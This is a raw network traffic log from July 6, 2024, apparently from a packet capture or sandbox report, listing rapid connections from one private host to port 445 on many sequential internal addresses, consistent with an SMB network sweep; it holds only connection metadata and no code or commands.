Jul 6, 2024 14:11:31.677680016 CEST	51648	445	192.168.2.6	192.168.1.109
Jul 6, 2024 14:11:31.678596973 CEST	445	51643	192.168.3.9	192.168.2.6
Jul 6, 2024 14:11:31.679405928 CEST	51650	445	192.168.2.6	192.168.0.237
Jul 6, 2024 14:11:31.680054903 CEST	445	51646	192.168.3.10	192.168.2.6
Jul 6, 2024 14:11:31.680871010 CEST	51649	445	192.168.2.6	192.168.0.236
Jul 6, 2024 14:11:31.680871010 CEST	51651	445	192.168.2.6	192.168.0.238
Jul 6, 2024 14:11:31.682212114 CEST	51653	445	192.168.2.6	192.168.3.12
Jul 6, 2024 14:11:31.683470011 CEST	51643	445	192.168.2.6	192.168.3.9
Jul 6, 2024 14:11:31.683470964 CEST	51646	445	192.168.2.6	192.168.3.10
Jul 6, 2024 14:11:31.683711052 CEST	445	51646	192.168.3.10	192.168.2.6
Jul 6, 2024 14:11:31.684649944 CEST	445	51650	192.168.0.237	192.168.2.6
Jul 6, 2024 14:11:31.684700012 CEST	51650	445	192.168.2.6	192.168.0.237
Jul 6, 2024 14:11:31.684765100 CEST	51650	445	192.168.2.6	192.168.0.237
Jul 6, 2024 14:11:31.685745955 CEST	445	51647	192.168.3.11	192.168.2.6
Jul 6, 2024 14:11:31.686115980 CEST	445	51648	192.168.1.109	192.168.2.6
Jul 6, 2024 14:11:31.686134100 CEST	445	51649	192.168.0.236	192.168.2.6
Jul 6, 2024 14:11:31.686192036 CEST	445	51651	192.168.0.238	192.168.2.6
Jul 6, 2024 14:11:31.686572075 CEST	51647	445	192.168.2.6	192.168.3.11
Jul 6, 2024 14:11:31.686572075 CEST	51648	445	192.168.2.6	192.168.1.109
Jul 6, 2024 14:11:31.687417030 CEST	445	51653	192.168.3.12	192.168.2.6
Jul 6, 2024 14:11:31.689738035 CEST	445	51650	192.168.0.237	192.168.2.6
Jul 6, 2024 14:11:31.690249920 CEST	445	51650	192.168.0.237	192.168.2.6
Jul 6, 2024 14:11:31.690310955 CEST	51652	445	192.168.2.6	192.168.1.110
Jul 6, 2024 14:11:31.693269014 CEST	51653	445	192.168.2.6	192.168.3.12
Jul 6, 2024 14:11:31.693269014 CEST	51653	445	192.168.2.6	192.168.3.12
Jul 6, 2024 14:11:31.694679976 CEST	51649	445	192.168.2.6	192.168.0.236
Jul 6, 2024 14:11:31.694679976 CEST	51651	445	192.168.2.6	192.168.0.238
Jul 6, 2024 14:11:31.694679976 CEST	51649	445	192.168.2.6	192.168.0.236
Jul 6, 2024 14:11:31.694679976 CEST	51651	445	192.168.2.6	192.168.0.238
Jul 6, 2024 14:11:31.695292950 CEST	445	51652	192.168.1.110	192.168.2.6
Jul 6, 2024 14:11:31.698523998 CEST	445	51653	192.168.3.12	192.168.2.6
Jul 6, 2024 14:11:31.698895931 CEST	445	51653	192.168.3.12	192.168.2.6
Jul 6, 2024 14:11:31.700944901 CEST	51652	445	192.168.2.6	192.168.1.110
Jul 6, 2024 14:11:31.700944901 CEST	51652	445	192.168.2.6	192.168.1.110
Jul 6, 2024 14:11:31.700944901 CEST	51654	445	192.168.2.6	192.168.1.111
Jul 6, 2024 14:11:31.703957081 CEST	445	51649	192.168.0.236	192.168.2.6
Jul 6, 2024 14:11:31.704225063 CEST	445	51651	192.168.0.238	192.168.2.6
Jul 6, 2024 14:11:31.704261065 CEST	445	51649	192.168.0.236	192.168.2.6
Jul 6, 2024 14:11:31.704309940 CEST	51655	445	192.168.2.6	192.168.3.13
Jul 6, 2024 14:11:31.704309940 CEST	51653	445	192.168.2.6	192.168.3.12
Jul 6, 2024 14:11:31.705087900 CEST	445	51651	192.168.0.238	192.168.2.6
Jul 6, 2024 14:11:31.706039906 CEST	445	51654	192.168.1.111	192.168.2.6
Jul 6, 2024 14:11:31.706142902 CEST	445	51652	192.168.1.110	192.168.2.6
Jul 6, 2024 14:11:31.706913948 CEST	51654	445	192.168.2.6	192.168.1.111
Jul 6, 2024 14:11:31.706913948 CEST	51654	445	192.168.2.6	192.168.1.111
Jul 6, 2024 14:11:31.706913948 CEST	51652	445	192.168.2.6	192.168.1.110
Jul 6, 2024 14:11:31.709350109 CEST	445	51655	192.168.3.13	192.168.2.6
Jul 6, 2024 14:11:31.710433006 CEST	51656	445	192.168.2.6	192.168.0.239
Jul 6, 2024 14:11:31.710551023 CEST	51657	445	192.168.2.6	192.168.0.240
Jul 6, 2024 14:11:31.711522102 CEST	51658	445	192.168.2.6	192.168.3.14
Jul 6, 2024 14:11:31.712372065 CEST	51659	445	192.168.2.6	192.168.1.112
Jul 6, 2024 14:11:31.713423014 CEST	445	51654	192.168.1.111	192.168.2.6
Jul 6, 2024 14:11:31.715514898 CEST	445	51656	192.168.0.239	192.168.2.6
Jul 6, 2024 14:11:31.715542078 CEST	445	51657	192.168.0.240	192.168.2.6
Jul 6, 2024 14:11:31.715847969 CEST	51657	445	192.168.2.6	192.168.0.240
Jul 6, 2024 14:11:31.715847969 CEST	51657	445	192.168.2.6	192.168.0.240
Jul 6, 2024 14:11:31.716108084 CEST	51655	445	192.168.2.6	192.168.3.13
Jul 6, 2024 14:11:31.716108084 CEST	51655	445	192.168.2.6	192.168.3.13
Jul 6, 2024 14:11:31.716375113 CEST	445	51658	192.168.3.14	192.168.2.6
Jul 6, 2024 14:11:31.716809988 CEST	51656	445	192.168.2.6	192.168.0.239
Jul 6, 2024 14:11:31.716809988 CEST	51656	445	192.168.2.6	192.168.0.239
Jul 6, 2024 14:11:31.717133999 CEST	51654	445	192.168.2.6	192.168.1.111
Jul 6, 2024 14:11:31.717421055 CEST	445	51659	192.168.1.112	192.168.2.6
Jul 6, 2024 14:11:31.717490911 CEST	51659	445	192.168.2.6	192.168.1.112
Jul 6, 2024 14:11:31.721951008 CEST	51658	445	192.168.2.6	192.168.3.14
Jul 6, 2024 14:11:31.722816944 CEST	445	51659	192.168.1.112	192.168.2.6
Jul 6, 2024 14:11:31.723052979 CEST	445	51657	192.168.0.240	192.168.2.6
Jul 6, 2024 14:11:31.723062992 CEST	445	51657	192.168.0.240	192.168.2.6
Jul 6, 2024 14:11:31.723742962 CEST	445	51655	192.168.3.13	192.168.2.6
Jul 6, 2024 14:11:31.723807096 CEST	445	51655	192.168.3.13	192.168.2.6
Jul 6, 2024 14:11:31.725852013 CEST	445	51656	192.168.0.239	192.168.2.6
Jul 6, 2024 14:11:31.725949049 CEST	51658	445	192.168.2.6	192.168.3.14
Jul 6, 2024 14:11:31.725996017 CEST	445	51656	192.168.0.239	192.168.2.6
Jul 6, 2024 14:11:31.726496935 CEST	51660	445	192.168.2.6	192.168.0.241
Jul 6, 2024 14:11:31.727128029 CEST	445	51658	192.168.3.14	192.168.2.6
Jul 6, 2024 14:11:31.727530003 CEST	51659	445	192.168.2.6	192.168.1.112
Jul 6, 2024 14:11:31.727530956 CEST	51659	445	192.168.2.6	192.168.1.112
Jul 6, 2024 14:11:31.728032112 CEST	51658	445	192.168.2.6	192.168.3.14
Jul 6, 2024 14:11:31.728032112 CEST	51661	445	192.168.2.6	192.168.3.15
Jul 6, 2024 14:11:31.728399038 CEST	51662	445	192.168.2.6	192.168.1.113
Jul 6, 2024 14:11:31.730921030 CEST	445	51658	192.168.3.14	192.168.2.6
Jul 6, 2024 14:11:31.731384993 CEST	445	51660	192.168.0.241	192.168.2.6
Jul 6, 2024 14:11:31.731446981 CEST	51660	445	192.168.2.6	192.168.0.241
Jul 6, 2024 14:11:31.731511116 CEST	51660	445	192.168.2.6	192.168.0.241
Jul 6, 2024 14:11:31.733794928 CEST	445	51662	192.168.1.113	192.168.2.6
Jul 6, 2024 14:11:31.733983040 CEST	51662	445	192.168.2.6	192.168.1.113
Jul 6, 2024 14:11:31.733983040 CEST	51662	445	192.168.2.6	192.168.1.113
Jul 6, 2024 14:11:31.734462023 CEST	51655	445	192.168.2.6	192.168.3.13
Jul 6, 2024 14:11:31.734677076 CEST	445	51661	192.168.3.15	192.168.2.6
Jul 6, 2024 14:11:31.734740019 CEST	51661	445	192.168.2.6	192.168.3.15
Jul 6, 2024 14:11:31.734785080 CEST	51661	445	192.168.2.6	192.168.3.15
Jul 6, 2024 14:11:31.736443996 CEST	445	51660	192.168.0.241	192.168.2.6
Jul 6, 2024 14:11:31.736608028 CEST	445	51660	192.168.0.241	192.168.2.6
Jul 6, 2024 14:11:31.739108086 CEST	445	51662	192.168.1.113	192.168.2.6
Jul 6, 2024 14:11:31.739177942 CEST	51662	445	192.168.2.6	192.168.1.113
Jul 6, 2024 14:11:31.739834070 CEST	445	51661	192.168.3.15	192.168.2.6
Jul 6, 2024 14:11:31.740194082 CEST	51661	445	192.168.2.6	192.168.3.15
Jul 6, 2024 14:11:31.740788937 CEST	445	51659	192.168.1.112	192.168.2.6
Jul 6, 2024 14:11:31.743612051 CEST	51664	445	192.168.2.6	192.168.3.16
Jul 6, 2024 14:11:31.743690014 CEST	51663	445	192.168.2.6	192.168.1.114
Jul 6, 2024 14:11:31.748506069 CEST	445	51664	192.168.3.16	192.168.2.6
Jul 6, 2024 14:11:31.748588085 CEST	51664	445	192.168.2.6	192.168.3.16
Jul 6, 2024 14:11:31.748699903 CEST	51664	445	192.168.2.6	192.168.3.16
Jul 6, 2024 14:11:31.749489069 CEST	445	51663	192.168.1.114	192.168.2.6
Jul 6, 2024 14:11:31.752043009 CEST	51663	445	192.168.2.6	192.168.1.114
Jul 6, 2024 14:11:31.752043009 CEST	51663	445	192.168.2.6	192.168.1.114
Jul 6, 2024 14:11:31.756298065 CEST	445	51664	192.168.3.16	192.168.2.6
Jul 6, 2024 14:11:31.756360054 CEST	51664	445	192.168.2.6	192.168.3.16
Jul 6, 2024 14:11:31.758821964 CEST	51666	445	192.168.2.6	192.168.3.17
Jul 6, 2024 14:11:31.758841038 CEST	51665	445	192.168.2.6	192.168.1.115
Jul 6, 2024 14:11:31.769896984 CEST	445	51663	192.168.1.114	192.168.2.6
Jul 6, 2024 14:11:31.769952059 CEST	51663	445	192.168.2.6	192.168.1.114
Jul 6, 2024 14:11:31.770312071 CEST	445	51666	192.168.3.17	192.168.2.6
Jul 6, 2024 14:11:31.770366907 CEST	51666	445	192.168.2.6	192.168.3.17
Jul 6, 2024 14:11:31.770426035 CEST	445	51665	192.168.1.115	192.168.2.6
Jul 6, 2024 14:11:31.770430088 CEST	51666	445	192.168.2.6	192.168.3.17
Jul 6, 2024 14:11:31.770488977 CEST	51665	445	192.168.2.6	192.168.1.115
Jul 6, 2024 14:11:31.770559072 CEST	51665	445	192.168.2.6	192.168.1.115
Jul 6, 2024 14:11:31.775926113 CEST	51667	445	192.168.2.6	192.168.3.18
Jul 6, 2024 14:11:31.776273012 CEST	445	51666	192.168.3.17	192.168.2.6
Jul 6, 2024 14:11:31.776329994 CEST	51666	445	192.168.2.6	192.168.3.17
Jul 6, 2024 14:11:31.776705980 CEST	445	51665	192.168.1.115	192.168.2.6
Jul 6, 2024 14:11:31.776973009 CEST	51665	445	192.168.2.6	192.168.1.115
Jul 6, 2024 14:11:31.780910969 CEST	445	51667	192.168.3.18	192.168.2.6
Jul 6, 2024 14:11:31.782830954 CEST	51668	445	192.168.2.6	192.168.1.116
Jul 6, 2024 14:11:31.786427021 CEST	51667	445	192.168.2.6	192.168.3.18
Jul 6, 2024 14:11:31.786427021 CEST	51667	445	192.168.2.6	192.168.3.18
Jul 6, 2024 14:11:31.789247036 CEST	445	51668	192.168.1.116	192.168.2.6
Jul 6, 2024 14:11:31.791610956 CEST	445	51667	192.168.3.18	192.168.2.6
Jul 6, 2024 14:11:31.792152882 CEST	51668	445	192.168.2.6	192.168.1.116
Jul 6, 2024 14:11:31.796050072 CEST	51669	445	192.168.2.6	192.168.3.19
Jul 6, 2024 14:11:31.796914101 CEST	51667	445	192.168.2.6	192.168.3.18
Jul 6, 2024 14:11:31.798660994 CEST	51668	445	192.168.2.6	192.168.1.116
Jul 6, 2024 14:11:31.798661947 CEST	51670	445	192.168.2.6	192.168.1.117
Jul 6, 2024 14:11:31.803034067 CEST	445	51669	192.168.3.19	192.168.2.6
Jul 6, 2024 14:11:31.803868055 CEST	445	51668	192.168.1.116	192.168.2.6
Jul 6, 2024 14:11:31.804259062 CEST	51668	445	192.168.2.6	192.168.1.116
Jul 6, 2024 14:11:31.804719925 CEST	445	51668	192.168.1.116	192.168.2.6
Jul 6, 2024 14:11:31.804836988 CEST	51669	445	192.168.2.6	192.168.3.19
Jul 6, 2024 14:11:31.804836988 CEST	51669	445	192.168.2.6	192.168.3.19
Jul 6, 2024 14:11:31.805242062 CEST	51671	445	192.168.2.6	192.168.1.118
Jul 6, 2024 14:11:31.809109926 CEST	445	51670	192.168.1.117	192.168.2.6
Jul 6, 2024 14:11:31.810018063 CEST	445	51671	192.168.1.118	192.168.2.6
Jul 6, 2024 14:11:31.811057091 CEST	51671	445	192.168.2.6	192.168.1.118
Jul 6, 2024 14:11:31.812154055 CEST	51672	445	192.168.2.6	192.168.3.20
Jul 6, 2024 14:11:31.813812971 CEST	445	51669	192.168.3.19	192.168.2.6
Jul 6, 2024 14:11:31.816170931 CEST	51671	445	192.168.2.6	192.168.1.118
Jul 6, 2024 14:11:31.816212893 CEST	445	51671	192.168.1.118	192.168.2.6
Jul 6, 2024 14:11:31.816262007 CEST	51671	445	192.168.2.6	192.168.1.118
Jul 6, 2024 14:11:31.817373037 CEST	445	51672	192.168.3.20	192.168.2.6
Jul 6, 2024 14:11:31.817440987 CEST	51669	445	192.168.2.6	192.168.3.19
Jul 6, 2024 14:11:31.818475962 CEST	51670	445	192.168.2.6	192.168.1.117
Jul 6, 2024 14:11:31.818475962 CEST	51670	445	192.168.2.6	192.168.1.117
Jul 6, 2024 14:11:31.818754911 CEST	51672	445	192.168.2.6	192.168.3.20
Jul 6, 2024 14:11:31.818754911 CEST	51672	445	192.168.2.6	192.168.3.20
Jul 6, 2024 14:11:31.821125984 CEST	445	51671	192.168.1.118	192.168.2.6
Jul 6, 2024 14:11:31.821841002 CEST	51673	445	192.168.2.6	192.168.3.21
Jul 6, 2024 14:11:31.823566914 CEST	445	51670	192.168.1.117	192.168.2.6
Jul 6, 2024 14:11:31.823774099 CEST	445	51672	192.168.3.20	192.168.2.6
Jul 6, 2024 14:11:31.826385975 CEST	51670	445	192.168.2.6	192.168.1.117
Jul 6, 2024 14:11:31.826910973 CEST	51674	445	192.168.2.6	192.168.1.119
Jul 6, 2024 14:11:31.828547955 CEST	51672	445	192.168.2.6	192.168.3.20
Jul 6, 2024 14:11:31.828727007 CEST	445	51670	192.168.1.117	192.168.2.6
Jul 6, 2024 14:11:31.830889940 CEST	445	51673	192.168.3.21	192.168.2.6
Jul 6, 2024 14:11:31.830956936 CEST	51673	445	192.168.2.6	192.168.3.21
Jul 6, 2024 14:11:31.832201958 CEST	445	51674	192.168.1.119	192.168.2.6
Jul 6, 2024 14:11:31.834773064 CEST	51674	445	192.168.2.6	192.168.1.119
Jul 6, 2024 14:11:31.834773064 CEST	51674	445	192.168.2.6	192.168.1.119
Jul 6, 2024 14:11:31.834883928 CEST	51673	445	192.168.2.6	192.168.3.21
Jul 6, 2024 14:11:31.835922003 CEST	445	51673	192.168.3.21	192.168.2.6
Jul 6, 2024 14:11:31.835975885 CEST	51673	445	192.168.2.6	192.168.3.21
Jul 6, 2024 14:11:31.836121082 CEST	51675	445	192.168.2.6	192.168.1.120
Jul 6, 2024 14:11:31.836836100 CEST	51676	445	192.168.2.6	192.168.3.22
Jul 6, 2024 14:11:31.840107918 CEST	445	51673	192.168.3.21	192.168.2.6
Jul 6, 2024 14:11:31.840781927 CEST	445	51674	192.168.1.119	192.168.2.6
Jul 6, 2024 14:11:31.841022968 CEST	445	51675	192.168.1.120	192.168.2.6
Jul 6, 2024 14:11:31.841171026 CEST	51674	445	192.168.2.6	192.168.1.119
Jul 6, 2024 14:11:31.841948032 CEST	445	51676	192.168.3.22	192.168.2.6
Jul 6, 2024 14:11:31.842041016 CEST	51675	445	192.168.2.6	192.168.1.120
Jul 6, 2024 14:11:31.842041016 CEST	51676	445	192.168.2.6	192.168.3.22
Jul 6, 2024 14:11:31.847280025 CEST	51676	445	192.168.2.6	192.168.3.22
Jul 6, 2024 14:11:31.850465059 CEST	51675	445	192.168.2.6	192.168.1.120
Jul 6, 2024 14:11:31.854868889 CEST	445	51676	192.168.3.22	192.168.2.6
Jul 6, 2024 14:11:31.855262041 CEST	445	51675	192.168.1.120	192.168.2.6
Jul 6, 2024 14:11:31.855302095 CEST	51675	445	192.168.2.6	192.168.1.120
Jul 6, 2024 14:11:31.855304003 CEST	445	51676	192.168.3.22	192.168.2.6
Jul 6, 2024 14:11:31.855341911 CEST	51676	445	192.168.2.6	192.168.3.22
Jul 6, 2024 14:11:31.855696917 CEST	445	51675	192.168.1.120	192.168.2.6
Jul 6, 2024 14:11:31.859967947 CEST	51677	445	192.168.2.6	192.168.1.121
Jul 6, 2024 14:11:31.860975981 CEST	51678	445	192.168.2.6	192.168.3.23
Jul 6, 2024 14:11:31.867033005 CEST	51680	445	192.168.2.6	192.168.0.243
Jul 6, 2024 14:11:31.867096901 CEST	51679	445	192.168.2.6	192.168.0.242
Jul 6, 2024 14:11:31.867892027 CEST	51681	445	192.168.2.6	192.168.3.24
Jul 6, 2024 14:11:31.868246078 CEST	51682	445	192.168.2.6	192.168.1.122
Jul 6, 2024 14:11:31.868681908 CEST	445	51678	192.168.3.23	192.168.2.6
Jul 6, 2024 14:11:31.869543076 CEST	51678	445	192.168.2.6	192.168.3.23
Jul 6, 2024 14:11:31.869543076 CEST	51678	445	192.168.2.6	192.168.3.23
Jul 6, 2024 14:11:31.871290922 CEST	445	51677	192.168.1.121	192.168.2.6
Jul 6, 2024 14:11:31.875319958 CEST	51677	445	192.168.2.6	192.168.1.121
Jul 6, 2024 14:11:31.875319958 CEST	51677	445	192.168.2.6	192.168.1.121
Jul 6, 2024 14:11:31.875401020 CEST	445	51680	192.168.0.243	192.168.2.6
Jul 6, 2024 14:11:31.875411034 CEST	445	51679	192.168.0.242	192.168.2.6
Jul 6, 2024 14:11:31.875463009 CEST	51680	445	192.168.2.6	192.168.0.243
Jul 6, 2024 14:11:31.875554085 CEST	51680	445	192.168.2.6	192.168.0.243
Jul 6, 2024 14:11:31.875783920 CEST	51679	445	192.168.2.6	192.168.0.242
Jul 6, 2024 14:11:31.875783920 CEST	51679	445	192.168.2.6	192.168.0.242
Jul 6, 2024 14:11:31.876765013 CEST	445	51681	192.168.3.24	192.168.2.6
Jul 6, 2024 14:11:31.877089024 CEST	51681	445	192.168.2.6	192.168.3.24
Jul 6, 2024 14:11:31.877089024 CEST	51681	445	192.168.2.6	192.168.3.24
Jul 6, 2024 14:11:31.877768993 CEST	445	51682	192.168.1.122	192.168.2.6
Jul 6, 2024 14:11:31.878175020 CEST	51682	445	192.168.2.6	192.168.1.122
Jul 6, 2024 14:11:31.881750107 CEST	51682	445	192.168.2.6	192.168.1.122
Jul 6, 2024 14:11:31.881782055 CEST	445	51678	192.168.3.23	192.168.2.6
Jul 6, 2024 14:11:31.881854057 CEST	445	51680	192.168.0.243	192.168.2.6
Jul 6, 2024 14:11:31.881864071 CEST	445	51679	192.168.0.242	192.168.2.6
Jul 6, 2024 14:11:31.881897926 CEST	51678	445	192.168.2.6	192.168.3.23
Jul 6, 2024 14:11:31.882858992 CEST	51683	445	192.168.2.6	192.168.0.244
Jul 6, 2024 14:11:31.882874966 CEST	445	51680	192.168.0.243	192.168.2.6
Jul 6, 2024 14:11:31.883274078 CEST	445	51679	192.168.0.242	192.168.2.6
Jul 6, 2024 14:11:31.883970976 CEST	445	51677	192.168.1.121	192.168.2.6
Jul 6, 2024 14:11:31.884083033 CEST	445	51681	192.168.3.24	192.168.2.6
Jul 6, 2024 14:11:31.884140968 CEST	51681	445	192.168.2.6	192.168.3.24
Jul 6, 2024 14:11:31.884174109 CEST	445	51682	192.168.1.122	192.168.2.6
Jul 6, 2024 14:11:31.884202957 CEST	51677	445	192.168.2.6	192.168.1.121
Jul 6, 2024 14:11:31.884673119 CEST	51685	445	192.168.2.6	192.168.1.123
Jul 6, 2024 14:11:31.884673119 CEST	51682	445	192.168.2.6	192.168.1.122
Jul 6, 2024 14:11:31.886720896 CEST	445	51682	192.168.1.122	192.168.2.6
Jul 6, 2024 14:11:31.889900923 CEST	445	51685	192.168.1.123	192.168.2.6
Jul 6, 2024 14:11:31.890505075 CEST	445	51683	192.168.0.244	192.168.2.6
Jul 6, 2024 14:11:31.891668081 CEST	51685	445	192.168.2.6	192.168.1.123
Jul 6, 2024 14:11:31.892323017 CEST	51684	445	192.168.2.6	192.168.3.25
Jul 6, 2024 14:11:31.892816067 CEST	51683	445	192.168.2.6	192.168.0.244
Jul 6, 2024 14:11:31.892816067 CEST	51683	445	192.168.2.6	192.168.0.244
Jul 6, 2024 14:11:31.897669077 CEST	445	51684	192.168.3.25	192.168.2.6
Jul 6, 2024 14:11:31.897819996 CEST	445	51683	192.168.0.244	192.168.2.6
Jul 6, 2024 14:11:31.898127079 CEST	51685	445	192.168.2.6	192.168.1.123
Jul 6, 2024 14:11:31.898318052 CEST	445	51683	192.168.0.244	192.168.2.6
Jul 6, 2024 14:11:31.898703098 CEST	51686	445	192.168.2.6	192.168.3.26
Jul 6, 2024 14:11:31.898818970 CEST	51684	445	192.168.2.6	192.168.3.25
Jul 6, 2024 14:11:31.898818970 CEST	51684	445	192.168.2.6	192.168.3.25
Jul 6, 2024 14:11:31.899247885 CEST	51687	445	192.168.2.6	192.168.1.124
Jul 6, 2024 14:11:31.903295994 CEST	445	51685	192.168.1.123	192.168.2.6
Jul 6, 2024 14:11:31.903666973 CEST	445	51686	192.168.3.26	192.168.2.6
Jul 6, 2024 14:11:31.904457092 CEST	445	51687	192.168.1.124	192.168.2.6
Jul 6, 2024 14:11:31.904946089 CEST	51686	445	192.168.2.6	192.168.3.26
Jul 6, 2024 14:11:31.904946089 CEST	51686	445	192.168.2.6	192.168.3.26
Jul 6, 2024 14:11:31.905390978 CEST	445	51684	192.168.3.25	192.168.2.6
Jul 6, 2024 14:11:31.905755997 CEST	51687	445	192.168.2.6	192.168.1.124
Jul 6, 2024 14:11:31.905755997 CEST	51687	445	192.168.2.6	192.168.1.124
Jul 6, 2024 14:11:31.907130003 CEST	51684	445	192.168.2.6	192.168.3.25
Jul 6, 2024 14:11:31.907843113 CEST	445	51685	192.168.1.123	192.168.2.6
Jul 6, 2024 14:11:31.910060883 CEST	445	51686	192.168.3.26	192.168.2.6
Jul 6, 2024 14:11:31.910139084 CEST	445	51686	192.168.3.26	192.168.2.6
Jul 6, 2024 14:11:31.910504103 CEST	51686	445	192.168.2.6	192.168.3.26
Jul 6, 2024 14:11:31.911250114 CEST	445	51687	192.168.1.124	192.168.2.6
Jul 6, 2024 14:11:31.912801027 CEST	51685	445	192.168.2.6	192.168.1.123
Jul 6, 2024 14:11:31.913120031 CEST	51687	445	192.168.2.6	192.168.1.124
Jul 6, 2024 14:11:31.914782047 CEST	51690	445	192.168.2.6	192.168.3.27
Jul 6, 2024 14:11:31.915105104 CEST	51689	445	192.168.2.6	192.168.1.125
Jul 6, 2024 14:11:31.916433096 CEST	51688	445	192.168.2.6	192.168.0.245
Jul 6, 2024 14:11:31.920249939 CEST	445	51690	192.168.3.27	192.168.2.6
Jul 6, 2024 14:11:31.920332909 CEST	51690	445	192.168.2.6	192.168.3.27
Jul 6, 2024 14:11:31.920403957 CEST	51690	445	192.168.2.6	192.168.3.27
Jul 6, 2024 14:11:31.920432091 CEST	445	51689	192.168.1.125	192.168.2.6
Jul 6, 2024 14:11:31.920478106 CEST	51689	445	192.168.2.6	192.168.1.125
Jul 6, 2024 14:11:31.920562983 CEST	51689	445	192.168.2.6	192.168.1.125
Jul 6, 2024 14:11:31.921416998 CEST	445	51688	192.168.0.245	192.168.2.6
Jul 6, 2024 14:11:31.922096968 CEST	51688	445	192.168.2.6	192.168.0.245
Jul 6, 2024 14:11:31.922096968 CEST	51688	445	192.168.2.6	192.168.0.245
Jul 6, 2024 14:11:31.926320076 CEST	445	51690	192.168.3.27	192.168.2.6
Jul 6, 2024 14:11:31.926328897 CEST	445	51689	192.168.1.125	192.168.2.6
Jul 6, 2024 14:11:31.926390886 CEST	51689	445	192.168.2.6	192.168.1.125
Jul 6, 2024 14:11:31.927700043 CEST	51690	445	192.168.2.6	192.168.3.27
Jul 6, 2024 14:11:31.929744005 CEST	51691	445	192.168.2.6	192.168.3.28
Jul 6, 2024 14:11:31.929918051 CEST	51692	445	192.168.2.6	192.168.1.126
Jul 6, 2024 14:11:31.929975033 CEST	445	51688	192.168.0.245	192.168.2.6
Jul 6, 2024 14:11:31.930531979 CEST	445	51688	192.168.0.245	192.168.2.6
Jul 6, 2024 14:11:31.934878111 CEST	445	51691	192.168.3.28	192.168.2.6
Jul 6, 2024 14:11:31.934931040 CEST	445	51692	192.168.1.126	192.168.2.6
Jul 6, 2024 14:11:31.934942961 CEST	51691	445	192.168.2.6	192.168.3.28
Jul 6, 2024 14:11:31.934993982 CEST	51692	445	192.168.2.6	192.168.1.126
Jul 6, 2024 14:11:31.935050964 CEST	51691	445	192.168.2.6	192.168.3.28
Jul 6, 2024 14:11:31.935086012 CEST	51692	445	192.168.2.6	192.168.1.126
Jul 6, 2024 14:11:31.940403938 CEST	445	51691	192.168.3.28	192.168.2.6
Jul 6, 2024 14:11:31.940464973 CEST	51691	445	192.168.2.6	192.168.3.28
Jul 6, 2024 14:11:31.941293955 CEST	445	51692	192.168.1.126	192.168.2.6
Jul 6, 2024 14:11:31.941370010 CEST	51692	445	192.168.2.6	192.168.1.126
Jul 6, 2024 14:11:31.945507050 CEST	51693	445	192.168.2.6	192.168.1.127
Jul 6, 2024 14:11:31.945617914 CEST	51694	445	192.168.2.6	192.168.3.29
Jul 6, 2024 14:11:31.950371027 CEST	445	51693	192.168.1.127	192.168.2.6
Jul 6, 2024 14:11:31.950464964 CEST	51693	445	192.168.2.6	192.168.1.127
Jul 6, 2024 14:11:31.950582027 CEST	445	51694	192.168.3.29	192.168.2.6
Jul 6, 2024 14:11:31.950701952 CEST	51694	445	192.168.2.6	192.168.3.29
Jul 6, 2024 14:11:31.957287073 CEST	445	51693	192.168.1.127	192.168.2.6
Jul 6, 2024 14:11:31.957355976 CEST	51693	445	192.168.2.6	192.168.1.127
Jul 6, 2024 14:11:31.959242105 CEST	445	51694	192.168.3.29	192.168.2.6
Jul 6, 2024 14:11:31.959292889 CEST	51694	445	192.168.2.6	192.168.3.29
Jul 6, 2024 14:11:31.959918022 CEST	51694	445	192.168.2.6	192.168.3.29
Jul 6, 2024 14:11:31.960110903 CEST	51693	445	192.168.2.6	192.168.1.127
Jul 6, 2024 14:11:31.960621119 CEST	51695	445	192.168.2.6	192.168.0.246
Jul 6, 2024 14:11:31.960774899 CEST	51697	445	192.168.2.6	192.168.0.251
Jul 6, 2024 14:11:31.960902929 CEST	51696	445	192.168.2.6	192.168.0.247
Jul 6, 2024 14:11:31.960944891 CEST	51698	445	192.168.2.6	192.168.0.253
Jul 6, 2024 14:11:31.960983038 CEST	51699	445	192.168.2.6	192.168.0.249
Jul 6, 2024 14:11:31.961019039 CEST	51700	445	192.168.2.6	192.168.0.252
Jul 6, 2024 14:11:31.961206913 CEST	51701	445	192.168.2.6	192.168.0.248
Jul 6, 2024 14:11:31.962158918 CEST	51703	445	192.168.2.6	192.168.3.30
Jul 6, 2024 14:11:31.963383913 CEST	51702	445	192.168.2.6	192.168.1.128
Jul 6, 2024 14:11:31.975007057 CEST	445	51694	192.168.3.29	192.168.2.6
Jul 6, 2024 14:11:31.975027084 CEST	445	51693	192.168.1.127	192.168.2.6
Jul 6, 2024 14:11:31.975037098 CEST	445	51695	192.168.0.246	192.168.2.6
Jul 6, 2024 14:11:31.975054026 CEST	445	51697	192.168.0.251	192.168.2.6
Jul 6, 2024 14:11:31.975064039 CEST	445	51696	192.168.0.247	192.168.2.6
Jul 6, 2024 14:11:31.975073099 CEST	445	51698	192.168.0.253	192.168.2.6
Jul 6, 2024 14:11:31.975085974 CEST	445	51700	192.168.0.252	192.168.2.6
Jul 6, 2024 14:11:31.975096941 CEST	445	51699	192.168.0.249	192.168.2.6
Jul 6, 2024 14:11:31.975131035 CEST	51695	445	192.168.2.6	192.168.0.246
Jul 6, 2024 14:11:31.975188971 CEST	51696	445	192.168.2.6	192.168.0.247
Jul 6, 2024 14:11:31.975197077 CEST	51700	445	192.168.2.6	192.168.0.252
Jul 6, 2024 14:11:31.975199938 CEST	51698	445	192.168.2.6	192.168.0.253
Jul 6, 2024 14:11:31.975305080 CEST	51695	445	192.168.2.6	192.168.0.246
Jul 6, 2024 14:11:31.975435972 CEST	51700	445	192.168.2.6	192.168.0.252
Jul 6, 2024 14:11:31.975460052 CEST	51696	445	192.168.2.6	192.168.0.247
Jul 6, 2024 14:11:31.975476980 CEST	445	51701	192.168.0.248	192.168.2.6
Jul 6, 2024 14:11:31.975555897 CEST	51701	445	192.168.2.6	192.168.0.248
Jul 6, 2024 14:11:31.975605965 CEST	445	51703	192.168.3.30	192.168.2.6
Jul 6, 2024 14:11:31.975610018 CEST	51697	445	192.168.2.6	192.168.0.251
Jul 6, 2024 14:11:31.975610018 CEST	51699	445	192.168.2.6	192.168.0.249
Jul 6, 2024 14:11:31.975610018 CEST	51697	445	192.168.2.6	192.168.0.251
Jul 6, 2024 14:11:31.975671053 CEST	51703	445	192.168.2.6	192.168.3.30
Jul 6, 2024 14:11:31.975720882 CEST	51698	445	192.168.2.6	192.168.0.253
Jul 6, 2024 14:11:31.975960016 CEST	51703	445	192.168.2.6	192.168.3.30
Jul 6, 2024 14:11:31.976032972 CEST	445	51702	192.168.1.128	192.168.2.6
